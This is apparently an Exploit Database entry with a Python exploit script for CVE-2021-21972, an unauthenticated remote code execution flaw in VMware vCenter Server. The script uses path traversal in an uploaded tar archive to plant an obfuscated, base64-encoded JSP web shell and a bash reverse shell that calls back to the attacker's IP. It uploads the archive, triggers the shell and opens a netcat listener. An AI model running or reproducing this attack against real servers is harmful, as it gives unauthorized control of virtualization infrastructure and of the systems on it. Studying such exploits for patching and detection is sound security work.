VMware vCenter Server 7.0 – Remote Code Execution (RCE) (Unauthenticated)

Exploit Database
121 阅读

作者： CHackA0101

日期： 2021-06-24
类别：
- webapps
平台：
- multiple
来源：https://www.exploit-db.com/exploits/50056/

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# Exploit Title: VMware vCenter Server RCE 6.5 / 6.7 / 7.0 - Remote Code Execution (RCE) (Unauthenticated)

# Date: 06/21/2021

# Exploit Author: CHackA0101

# Vendor Homepage: https://kb.vmware.com/s/article/82374

# Software Link: https://www.vmware.com/products/vcenter-server.html

# Version: This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).

# Tested on: VMware vCenter version 6.5 (OS: Linux 4.4.182-1.ph1 SMP UTC 2019 x86_64 GNU/Linux)

# CVE: 2021-21972

# More Info: https://github.com/chacka0101/exploits/blob/master/CVE-2021-21972/README.md

#!/usr/bin/python2

import os

import urllib3

import argparse

import sys

import requests

import base64

import tarfile

import threading

import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

myargs=argparse.ArgumentParser()

myargs.add_argument('-T','--target',help='The IP address of the target',required=True)

myargs.add_argument('-L','--local',help='Your local IP',required=True)

args=myargs.parse_args()

def getprompt(x):

print ("(CHackA0101-GNU/Linux)$ "+ str(x))

def getpath(path="/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/37/0/h5ngc.war/resources/shell4.jsp"):

fullpath="../" * 7 + path

return fullpath.replace('\\','/').replace('//','/')

def createbackdoor(localip):

# shell4.jsp

backdoor = "PGZvcm0gbWV0aG9kPSJHRVQiIGFjdGlvbj0iIj4KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIC8+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRXhlYyEiIC8+CjwvZm9ybT4gPCUhCnB1YmxpYyBTdHJpbmcgZXNjKFN0cmluZyBzdHIpewoJU3RyaW5nQnVmZmVyIHNiID0gbmV3IFN0cmluZ0J1ZmZlcigpOwoJZm9yKGNoYXIgYyA6IHN0ci50b0NoYXJBcnJheSgpKQoJCWlmKCBjID49ICcwJyAmJiBjIDw9ICc5JyB8fCBjID49ICdBJyAmJiBjIDw9ICdaJyB8fCBjID49ICdhJyAmJiBjIDw9ICd6JyB8fCBjID09ICcgJyApCgkJCXNiLmFwcGVuZCggYyApOwoJCWVsc2UKCQkJc2IuYXBwZW5kKCImIyIrKGludCkoYyYweGZmKSsiOyIpOwoJcmV0dXJuIHNiLnRvU3RyaW5nKCk7Cn0gJT48JQpTdHJpbmcgY21kID0gcmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpOwppZiAoIGNtZCAhPSBudWxsKSB7CglvdXQucHJpbnRsbigiPHByZT5Db21tYW5kIHdhczogPGI+Iitlc2MoY21kKSsiPC9iPlxuIik7CglqYXZhLmlvLkRhdGFJbnB1dFN0cmVhbSBpbiA9IG5ldyBqYXZhLmlvLkRhdGFJbnB1dFN0cmVhbShSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGNtZCkuZ2V0SW5wdXRTdHJlYW0oKSk7CglTdHJpbmcgbGluZSA9IGluLnJlYWRMaW5lKCk7Cgl3aGlsZSggbGluZSAhPSBudWxsICl7CgkJb3V0LnByaW50bG4oZXNjKGxpbmUpKTsKCQlsaW5lID0gaW4ucmVhZExpbmUoKTsKCX0KCW91dC5wcmludGxuKCI8L3ByZT4iKTsKfSAlPg=="

backdoor = base64.b64decode(backdoor).decode('utf-8')

f = open("shell4.jsp","w")

f.write(backdoor)

f.close()

# reverse.sh

# After decoding overwrite string 'CUSTOM_IP' for local IP

shell="IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC9DVVNUT01fSVAvNDQzIDA+JjE="

shell=base64.b64decode(shell).decode('utf-8')

shell=shell.replace('CUSTOM_IP',localip)

f=open("reverse.sh","w")

f.write(shell)

f.close()

# Move on with the payload

payload_file=tarfile.open('payload.tar','w')

myroute=getpath()

getprompt('Adding web backdoor to archive')

payload_file.add("shell4.jsp", myroute)

myroute=getpath("tmp/reverse.sh")

getprompt('Adding bash backdoor to archive')

payload_file.add("reverse.sh", myroute)

payload_file.close()

# cleaning up a little bit

os.unlink("reverse.sh")

os.unlink("shell4.jsp")

getprompt('Backdoor file just was created.')

def launchexploit(ip):

res=requests.post('https://' + ip + '/ui/vropspluginui/rest/services/uploadova', files={'uploadFile':open('payload.tar', 'rb')}, verify=False, timeout=60)

if res.status_code == 200 and res.text == 'SUCCESS':

getprompt('Backdoor was uploaded successfully!')

return True

else:

getprompt('Backdoor failed to be uploaded. Target denied access.')

return False

def testshell(ip):

getprompt('Looking for shell...')

shell_path="/ui/resources/shell4.jsp?cmd=uname+-a"

res=requests.get('https://' + ip + shell_path, verify=False, timeout=60)

if res.status_code==200:

getprompt('Shell was found!.')

response=res.text

if True:

getprompt('Shell is responsive.')

try:

response=re.findall("b>(.+)</",response)[0]

print('$>uname -a')

print(response)

except:

pass

return True

else:

getprompt('Sorry. Shell was not found.')

return False

def opendoor(url):

time.sleep(3)

getprompt('Executing command.')

requests.get(url, verify=False, timeout=1800)

def executebackdoor(ip, localip):

url="https://"+ip+"/ui/resources/shell4.jsp?cmd=bash%20/tmp/reverse.sh"

t=threading.Thread(target=opendoor,args=(url,))

t.start()

getprompt('Setting up socket '+localip+':443')

os.system('nc -lnvp 443')

if len(sys.argv)== 1:

myargs.print_help(sys.stderr)

sys.exit(1)

createbackdoor(args.local)

uploaded=launchexploit(args.target)

if uploaded:

tested=testshell(args.target)

if tested:

executebackdoor(args.target, args.local)

getprompt("Execution completed!")